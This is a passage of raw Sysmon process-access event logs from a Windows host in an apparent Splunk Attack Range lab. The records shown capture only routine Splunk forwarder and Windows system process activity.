11:49:59.315","ProcessGuid":"{90617006-3FE7-5F2D-0000-00101A310300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-regex --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+181c6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00101A310300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00101A310300}","TargetProcessId":"3596","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1845,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1846,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1847,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1848,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1849,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1850,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 